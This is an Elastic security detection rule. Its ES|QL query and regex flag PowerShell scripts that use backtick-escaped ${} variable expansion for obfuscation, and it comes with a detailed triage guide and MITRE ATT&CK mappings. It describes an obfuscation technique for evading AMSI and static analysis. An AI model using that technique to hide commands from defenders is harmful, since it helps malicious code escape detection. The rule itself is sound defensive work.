updated_date = "2026/04/30"

[rule]
author = ["Elastic"]
description = """
Detects PowerShell scripts that use backtick-escaped characters inside `${}` variable expansion (multiple backticks
between word characters) to reconstruct strings at runtime. Attackers use variable-expansion obfuscation to split
keywords, hide commands, and evade static analysis and AMSI.
"""
from = "now-9m"
language = "esql"
license = "Elastic License v2"
name = "Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion"
risk_score = 73
rule_id = "d43f2b43-02a1-4219-8ce9-10929a32a618"
severity = "high"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Defense Evasion",
    "Data Source: PowerShell Logs",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "esql"

query = '''
from logs-windows.powershell_operational* metadata _id, _version, _index
| where event.code == "4104"

// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for
| eval Esql.script_block_length = length(powershell.file.script_block_text)
| where Esql.script_block_length > 500

// replace the patterns we are looking for with the 🔥 emoji to enable counting them
// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1
| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """\$\{(\w++`){2,}\w++\}""", "🔥")

// count how many patterns were detected by calculating the number of 🔥 characters inserted
| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", ""))

// keep the fields relevant to the query, although this is not needed as the alert is populated using _id
| keep
    Esql.script_block_pattern_count,
    Esql.script_block_length,
    Esql.script_block_tmp,
    powershell.file.*,
    file.path,
    file.name,
    process.pid,
    powershell.sequence,
    powershell.total,
    _id,
    _version,
    _index,
    host.name,
    host.id,
    agent.id,
    user.id

// Filter for scripts that match the pattern at least once
| where Esql.script_block_pattern_count >= 1
'''

note = """## Triage and analysis

### Investigating Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion

#### Possible investigation steps

- Did you reconstruct the complete alerting script block and confirm the escaped-variable pattern?
  - Focus: alert-local `Esql.script_block_pattern_count`, `Esql.script_block_tmp`, `Esql.script_block_length`, and reconstructed `powershell.file.script_block_text`. $investigate_2
  - Hint: query PowerShell Operational events from logs-windows.powershell_operational*, then reconstruct with `powershell.file.script_block_id` + `powershell.sequence` + `powershell.total` on the same `host.id`; confirm fragment count before judging intent.
  - Implication: escalate when the complete block repeats ${} backtick expansion across command, variable, or string-building logic; lower suspicion when one isolated escaped token sits inside readable build or template code. Missing fragments keep the alert unresolved, not benign.

- What execution-critical text appears when the backticks inside ${} are removed?
  - Focus: reconstructed `powershell.file.script_block_text`, alert-local `Esql.script_block_tmp`, and the command, variable, or string tokens exposed by removing the backticks.
  - Implication: escalate when escaped expansions hide cmdlets, invocation operators, download strings, encoded payloads, AMSI or logging bypass names, or variables that feed execution; lower suspicion when they only protect literal template placeholders and no decoded token changes execution.

- Does the script origin and user-host context fit one bounded generation workflow?
  - Focus: `file.path`, `file.name`, `user.id`, `host.name`, and `host.id`.
  - Implication: escalate when `file.path` is absent for a long obfuscated block, the path is user-writable, temporary, or delivery-oriented, or the account-host pair does not fit script generation or deployment; lower suspicion only when origin, account, host, and decoded content match one recognized build, packaging, updater, or test workflow.

- If process telemetry is available, how was the PowerShell instance launched?
  - Focus: alert-preserved `process.pid`, plus recovered `process.executable`, `process.command_line`, `process.parent.executable`, and `process.parent.command_line`.
  - Hint: recover the matching process via `host.id + process.pid`; around alert `@timestamp`, prefer the closest start event for that `host.id` if PID reuse creates multiple matches. $investigate_3
  - Implication: escalate when the chain starts from a browser, document process, archive, remote tooling, scheduled task, non-PowerShell host process using System.Management.Automation, or encoded/in-memory command path that does not fit the script purpose; lower suspicion when executable, parent, and command line match the same recognized build, packaging, updater, or test workflow. Missing endpoint process telemetry keeps lineage unresolved, not benign.

- Does the decoded content request a second execution stage?
  - Focus: decoded execution, download, credential, policy, persistence, or payload-staging commands in `powershell.file.script_block_text`.
  - Hint: after process recovery via `host.id + process.pid`, review child events where `process.parent.entity_id` equals the recovered PowerShell `process.entity_id`; use `host.id` plus `process.parent.pid` as a weaker tight-window fallback. $investigate_4
  - Implication: escalate when hidden tokens feed execution operators, downloaded content, child processes, credential access, policy tampering, persistence, or payload staging; lower suspicion when decoded actions stay inside the same recognized generation or update task and no second execution path appears. Missing endpoint process telemetry leaves child-process correlation unresolved, not benign.

- If local evidence remains suspicious or unresolved, does this escaped-variable pattern appear elsewhere?
  - Focus: related alerts for `user.id` and `host.id` in the last 48 hours, decoded token fragments from `powershell.file.script_block_text`, and the same `file.path` when present.
  - Hint: start with related alerts for the same `user.id`; if sparse, pivot to the same `host.id`. $investigate_0 $investigate_1
  - Implication: broaden scope when the same escaped-variable technique or decoded execution strings appear on unrelated hosts, users, or source paths; keep local when recurrence stays inside the same confirmed workflow and local evidence is otherwise clean.

- Escalate on strong unauthorized execution evidence from decoded tokens, fileless or unusual origin, launch chain, second-stage behavior, or repeated scope; close only when telemetry and any needed owner or change confirmation explain every suspicious token as one recognized build, packaging, updater, or test workflow; preserve and escalate when fragments, endpoint process telemetry, or workflow proof are missing for a suspicious script.

### False positive analysis

- Code generation, packaging, build, updater, bootstrap, or test harness workflows can emit backtick-escaped ${} sequences while producing PowerShell text. Confirm only when reconstructed `powershell.file.script_block_text` is limited to template, packaging, installer, updater, or test logic; `file.path` or its absence fits that source; any recovered launch chain supports the same tool; and `user.id` plus `host.id` match the same operating scope. If change records are unavailable, require the same file origin, decoded token family, and user-host scope across prior alerts from this rule.
- Treat one benign-looking token as insufficient for closure. Do not close when decoded content contains execution, download, defense-evasion, credential, or persistence logic that the named workflow does not require.
- Before creating an exception, anchor it to stable indexed fields such as `user.id`, `host.id`, and `file.path` or `file.name`, plus the stable decoded token family and recovered parent context when available. Do not use `Esql.script_block_pattern_count` or `Esql.script_block_tmp` in exceptions because they are alert-local summaries, not exception-safe fields.

### Response and remediation

- If confirmed benign, document the evidence that explained the alert first: reconstructed script intent, file origin or fileless source, `user.id`, `host.id`, and the recovered launch context when available. Then reverse any temporary containment and create a narrow exception only after the same workflow pattern is stable across prior alerts.
- If suspicious but unconfirmed, preserve the alert, reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, ordered 4104 fragments, file origin, host-user scope, recovered launch context when available, and decoded indicators before containment. Apply reversible containment such as heightened monitoring or host isolation only if the host role can tolerate it, then escalate before deleting artifacts or resetting credentials.
- If confirmed malicious, preserve the same script, source-event, process, and decoded-indicator evidence before destructive action. Isolate the host when the evidence shows unauthorized execution and host criticality allows it, record the recovered process identifier before termination, block confirmed malicious decoded indicators, and remove only the scripts, payloads, startup items, policy changes, or persistence artifacts identified during the investigation. Reset credentials only when the investigation shows account misuse beyond local script execution.
- Post-incident hardening: retain PowerShell script-block logging, keep endpoint process telemetry sufficient for `host.id + process.pid` recovery, restrict recurring script generation to recognized signed tooling and service scopes, and document the confirmed benign workflow or malicious decoded token family for future triage.
"""

setup = """## Setup

PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104).
Setup instructions: https://ela.st/powershell-logging-setup
"""

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.id",
    "powershell.file.script_block_text",
    "powershell.file.script_block_id",
    "powershell.sequence",
    "powershell.total",
    "file.path",
    "file.name",
    "host.name",
    "host.id",
    "process.pid",
    "Esql.script_block_pattern_count",
    "Esql.script_block_length"
]

[transform]

[[transform.investigate]]
label = "Alerts associated with the user"
description = ""
providers = [
  [
    { excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
    { excluded = false, field = "user.id", queryType = "phrase", value = "{{user.id}}", valueType = "string" }
  ]
]
relativeFrom = "now-48h/h"
relativeTo = "now"

[[transform.investigate]]
label = "Alerts associated with the host"
description = ""
providers = [
  [
    { excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
  ]
]
relativeFrom = "now-48h/h"
relativeTo = "now"

[[transform.investigate]]
label = "Script block fragments for the same script"
description = ""
providers = [
  [
    { excluded = false, field = "powershell.file.script_block_id", queryType = "phrase", value = "{{powershell.file.script_block_id}}", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[transform.investigate]]
label = "Process events for the PowerShell instance"
description = ""
providers = [
  [
    { excluded = false, field = "process.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[transform.investigate]]
label = "Child process activity from the PowerShell instance"
description = ""
providers = [
  [
    { excluded = false, field = "process.parent.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" },
    { excluded = false, field = "event.type", queryType = "phrase", value = "start", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1027"
name = "Obfuscated Files or Information"
reference = "https://attack.mitre.org/techniques/T1027/"

[[rule.threat.technique.subtechnique]]
id = "T1027.010"
name = "Command Obfuscation"
reference = "https://attack.mitre.org/techniques/T1027/010/"

[[rule.threat.technique]]
id = "T1140"
name = "Deobfuscate/Decode Files or Information"
reference = "https://attack.mitre.org/techniques/T1140/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"

[[rule.threat.technique.subtechnique]]
id = "T1059.001"
name = "PowerShell"
reference = "https://attack.mitre.org/techniques/T1059/001/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"